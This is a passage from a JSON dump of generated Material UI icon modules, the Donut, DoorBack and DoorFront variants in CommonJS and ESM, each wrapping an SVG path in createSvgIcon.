    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.07 5.32C16.26 6 18 7.74 18.68 9.93c.19.63.76 1.07 1.41 1.07h.04c1 0 1.72-.96 1.43-1.91-.97-3.18-3.48-5.69-6.66-6.66-.94-.29-1.9.43-1.9 1.43v.04c0 .66.44 1.23 1.07 1.42m4.61 8.75c-.68 2.2-2.42 3.93-4.61 4.61-.63.19-1.07.76-1.07 1.41v.04c0 1 .96 1.72 1.91 1.43 3.18-.97 5.69-3.48 6.66-6.66.29-.95-.43-1.91-1.42-1.91h-.05c-.66.01-1.23.45-1.42 1.08M11 20.11c0-.67-.45-1.24-1.09-1.44C7.07 17.78 5 15.13 5 12s2.07-5.78 4.91-6.67c.64-.2 1.09-.77 1.09-1.44v-.01c0-1-.97-1.74-1.93-1.44C4.98 3.69 2 7.5 2 12s2.98 8.31 7.07 9.56c.96.3 1.93-.44 1.93-1.45\"\n}), 'DonutLargeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutLargeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.07 5.32C16.26 6 18 7.74 18.68 9.93c.19.63.76 1.07 1.41 1.07h.04c1 0 1.72-.96 1.43-1.91-.97-3.18-3.48-5.69-6.66-6.66-.94-.29-1.9.43-1.9 1.43v.04c0 .66.44 1.23 1.07 1.42m4.61 8.75c-.68 2.2-2.42 3.93-4.61 4.61-.63.19-1.07.76-1.07 1.41v.04c0 1 .96 1.72 1.91 1.43 3.18-.97 5.69-3.48 6.66-6.66.29-.95-.43-1.91-1.42-1.91h-.05c-.66.01-1.23.45-1.42 1.08M11 20.11c0-.67-.45-1.24-1.09-1.44C7.07 17.78 5 15.13 5 12s2.07-5.78 4.91-6.67c.64-.2 1.09-.77 1.09-1.44v-.01c0-1-.97-1.74-1.93-1.44C4.98 3.69 2 7.5 2 12s2.98 8.31 7.07 9.56c.96.3 1.93-.44 1.93-1.45\"\n}), 'DonutLargeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutLargeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5.08c3.06.44 5.48 2.86 5.92 5.92h3.03c-.47-4.72-4.23-8.48-8.95-8.95zM18.92 13c-.44 3.06-2.86 5.48-5.92 5.92v3.03c4.72-.47 8.48-4.23 8.95-8.95zM11 18.92c-3.39-.49-6-3.4-6-6.92s2.61-6.43 6-6.92V2.05c-5.05.5-9 4.76-9 9.95s3.95 9.45 9 9.95z\"\n}), 'DonutLargeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutLargeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5.08c3.06.44 5.48 2.86 5.92 5.92h3.03c-.47-4.72-4.23-8.48-8.95-8.95zM18.92 13c-.44 3.06-2.86 5.48-5.92 5.92v3.03c4.72-.47 8.48-4.23 8.95-8.95zM11 18.92c-3.39-.49-6-3.4-6-6.92s2.61-6.43 6-6.92V2.05c-5.05.5-9 4.76-9 9.95s3.95 9.45 9 9.95z\"\n}), 'DonutLargeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutLargeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5.08c3.06.44 5.48 2.86 5.92 5.92h3.03c-.47-4.72-4.23-8.48-8.95-8.95zM18.92 13c-.44 3.06-2.86 5.48-5.92 5.92v3.03c4.72-.47 8.48-4.23 8.95-8.95zM11 18.92c-3.39-.49-6-3.4-6-6.92s2.61-6.43 6-6.92V2.05c-5.05.5-9 4.76-9 9.95s3.95 9.45 9 9.95z\"\n}), 'DonutLargeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutLargeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5.08c3.06.44 5.48 2.86 5.92 5.92h3.03c-.47-4.72-4.23-8.48-8.95-8.95zM18.92 13c-.44 3.06-2.86 5.48-5.92 5.92v3.03c4.72-.47 8.48-4.23 8.95-8.95zM11 18.92c-3.39-.49-6-3.4-6-6.92s2.61-6.43 6-6.92V2.05c-5.05.5-9 4.76-9 9.95s3.95 9.45 9 9.95z\"\n}), 'DonutLargeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmall.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9.16V2c-5 .5-9 4.79-9 10s4 9.5 9 10v-7.16c-1-.41-2-1.52-2-2.84s1-2.43 2-2.84M14.86 11H22c-.48-4.75-4-8.53-9-9v7.16c1 .3 1.52.98 1.86 1.84M13 14.84V22c5-.47 8.52-4.25 9-9h-7.14c-.34.86-.86 1.54-1.86 1.84\"\n}), 'DonutSmall');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmall.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9.16V2c-5 .5-9 4.79-9 10s4 9.5 9 10v-7.16c-1-.41-2-1.52-2-2.84s1-2.43 2-2.84M14.86 11H22c-.48-4.75-4-8.53-9-9v7.16c1 .3 1.52.98 1.86 1.84M13 14.84V22c5-.47 8.52-4.25 9-9h-7.14c-.34.86-.86 1.54-1.86 1.84\"\n}), 'DonutSmall');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmallOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.82 11h7.13c-.47-4.72-4.23-8.48-8.95-8.95v7.13c.85.31 1.51.97 1.82 1.82M15 4.58C17 5.4 18.6 7 19.42 9h-3.43c-.28-.37-.62-.71-.99-.99zM2 12c0 5.19 3.95 9.45 9 9.95v-7.13C9.84 14.4 9 13.3 9 12s.84-2.4 2-2.82V2.05c-5.05.5-9 4.76-9 9.95m7-7.42v3.44c-1.23.92-2 2.39-2 3.98s.77 3.06 2 3.99v3.44C6.04 18.24 4 15.35 4 12s2.04-6.24 5-7.42m4 10.24v7.13c4.72-.47 8.48-4.23 8.95-8.95h-7.13c-.31.85-.97 1.51-1.82 1.82m2 1.17c.37-.28.71-.61.99-.99h3.43C18.6 17 17 18.6 15 19.42z\"\n}), 'DonutSmallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmallOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.82 11h7.13c-.47-4.72-4.23-8.48-8.95-8.95v7.13c.85.31 1.51.97 1.82 1.82M15 4.58C17 5.4 18.6 7 19.42 9h-3.43c-.28-.37-.62-.71-.99-.99zM2 12c0 5.19 3.95 9.45 9 9.95v-7.13C9.84 14.4 9 13.3 9 12s.84-2.4 2-2.82V2.05c-5.05.5-9 4.76-9 9.95m7-7.42v3.44c-1.23.92-2 2.39-2 3.98s.77 3.06 2 3.99v3.44C6.04 18.24 4 15.35 4 12s2.04-6.24 5-7.42m4 10.24v7.13c4.72-.47 8.48-4.23 8.95-8.95h-7.13c-.31.85-.97 1.51-1.82 1.82m2 1.17c.37-.28.71-.61.99-.99h3.43C18.6 17 17 18.6 15 19.42z\"\n}), 'DonutSmallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmallRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 3.18v17.64c0 .64-.59 1.12-1.21.98C5.32 20.8 2 16.79 2 12s3.32-8.8 7.79-9.8c.62-.14 1.21.34 1.21.98m2.03 0v6.81c0 .55.45 1 1 1h6.79c.64 0 1.12-.59.98-1.22-.85-3.76-3.8-6.72-7.55-7.57-.63-.14-1.22.34-1.22.98m0 10.83v6.81c0 .64.59 1.12 1.22.98 3.76-.85 6.71-3.82 7.56-7.58.14-.62-.35-1.22-.98-1.22h-6.79c-.56.01-1.01.46-1.01 1.01\"\n}), 'DonutSmallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmallRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 3.18v17.64c0 .64-.59 1.12-1.21.98C5.32 20.8 2 16.79 2 12s3.32-8.8 7.79-9.8c.62-.14 1.21.34 1.21.98m2.03 0v6.81c0 .55.45 1 1 1h6.79c.64 0 1.12-.59.98-1.22-.85-3.76-3.8-6.72-7.55-7.57-.63-.14-1.22.34-1.22.98m0 10.83v6.81c0 .64.59 1.12 1.22.98 3.76-.85 6.71-3.82 7.56-7.58.14-.62-.35-1.22-.98-1.22h-6.79c-.56.01-1.01.46-1.01 1.01\"\n}), 'DonutSmallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmallSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 9.18c.85.3 1.51.97 1.82 1.82h7.13c-.47-4.72-4.23-8.48-8.95-8.95zm-2 5.64C9.84 14.4 9 13.3 9 12s.84-2.4 2-2.82V2.05c-5.05.5-9 4.76-9 9.95s3.95 9.45 9 9.95zM14.82 13c-.3.85-.97 1.51-1.82 1.82v7.13c4.72-.47 8.48-4.23 8.95-8.95z\"\n}), 'DonutSmallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmallSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9.18c.85.3 1.51.97 1.82 1.82h7.13c-.47-4.72-4.23-8.48-8.95-8.95zm-2 5.64C9.84 14.4 9 13.3 9 12s.84-2.4 2-2.82V2.05c-5.05.5-9 4.76-9 9.95s3.95 9.45 9 9.95zM14.82 13c-.3.85-.97 1.51-1.82 1.82v7.13c4.72-.47 8.48-4.23 8.95-8.95z\"\n}), 'DonutSmallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmallTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.99 9h3.43C18.6 7 17 5.4 15 4.58v3.43c.37.28.71.62.99.99M4 12c0 3.35 2.04 6.24 5 7.42v-3.44c-1.23-.93-2-2.4-2-3.99S7.77 8.93 9 8V4.58C6.04 5.76 4 8.65 4 12m11 3.99v3.43c2-.82 3.6-2.42 4.42-4.42h-3.43c-.28.37-.62.71-.99.99\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.82 11h7.13c-.47-4.72-4.23-8.48-8.95-8.95v7.13c.85.31 1.51.97 1.82 1.82M15 4.58C17 5.4 18.6 7 19.42 9h-3.43c-.28-.37-.62-.71-.99-.99zM2 12c0 5.19 3.95 9.45 9 9.95v-7.13C9.84 14.4 9 13.3 9 12s.84-2.4 2-2.82V2.05c-5.05.5-9 4.76-9 9.95m7-7.42v3.44c-1.23.92-2 2.39-2 3.98s.77 3.06 2 3.99v3.44C6.04 18.24 4 15.35 4 12s2.04-6.24 5-7.42m4 10.24v7.13c4.72-.47 8.48-4.23 8.95-8.95h-7.13c-.31.85-.97 1.51-1.82 1.82m2 1.17c.37-.28.71-.61.99-.99h3.43C18.6 17 17 18.6 15 19.42z\"\n}, \"1\")], 'DonutSmallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DonutSmallTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.99 9h3.43C18.6 7 17 5.4 15 4.58v3.43c.37.28.71.62.99.99M4 12c0 3.35 2.04 6.24 5 7.42v-3.44c-1.23-.93-2-2.4-2-3.99S7.77 8.93 9 8V4.58C6.04 5.76 4 8.65 4 12m11 3.99v3.43c2-.82 3.6-2.42 4.42-4.42h-3.43c-.28.37-.62.71-.99.99\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.82 11h7.13c-.47-4.72-4.23-8.48-8.95-8.95v7.13c.85.31 1.51.97 1.82 1.82M15 4.58C17 5.4 18.6 7 19.42 9h-3.43c-.28-.37-.62-.71-.99-.99zM2 12c0 5.19 3.95 9.45 9 9.95v-7.13C9.84 14.4 9 13.3 9 12s.84-2.4 2-2.82V2.05c-5.05.5-9 4.76-9 9.95m7-7.42v3.44c-1.23.92-2 2.39-2 3.98s.77 3.06 2 3.99v3.44C6.04 18.24 4 15.35 4 12s2.04-6.24 5-7.42m4 10.24v7.13c4.72-.47 8.48-4.23 8.95-8.95h-7.13c-.31.85-.97 1.51-1.82 1.82m2 1.17c.37-.28.71-.61.99-.99h3.43C18.6 17 17 18.6 15 19.42z\"\n}, \"1\")], 'DonutSmallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBack.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-8-6H9v-2h2z\"\n}), 'DoorBack');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBack.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-8-6H9v-2h2z\"\n}), 'DoorBack');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-2 0H7V5h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11h2v2H9z\"\n}, \"1\")], 'DoorBackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-2 0H7V5h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11h2v2H9z\"\n}, \"1\")], 'DoorBackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19h-1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1m-10-6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DoorBackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19h-1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1m-10-6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DoorBackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V3H5v16H3v2h18v-2zm-8-6H9v-2h2z\"\n}), 'DoorBackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V3H5v16H3v2h18v-2zm-8-6H9v-2h2z\"\n}), 'DoorBackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10V5H7zm2-8h2v2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-2 0H7V5h10z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11h2v2H9z\"\n}, \"2\")], 'DoorBackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorBackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10V5H7zm2-8h2v2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-2 0H7V5h10z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11h2v2H9z\"\n}, \"2\")], 'DoorBackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFront.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-4-6h-2v-2h2z\"\n}), 'DoorFront');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFront.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-4-6h-2v-2h2z\"\n}), 'DoorFront');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFrontOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-2 0H7V5h10zm-4-8h2v2h-2z\"\n}), 'DoorFrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFrontOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-2 0H7V5h10zm-4-8h2v2h-2z\"\n}), 'DoorFrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFrontRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19h-1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1m-6-6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DoorFrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFrontRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19h-1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1m-6-6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DoorFrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFrontSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V3H5v16H3v2h18v-2zm-4-6h-2v-2h2z\"\n}), 'DoorFrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFrontSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V3H5v16H3v2h18v-2zm-4-6h-2v-2h2z\"\n}), 'DoorFrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFrontTwoTone.js",
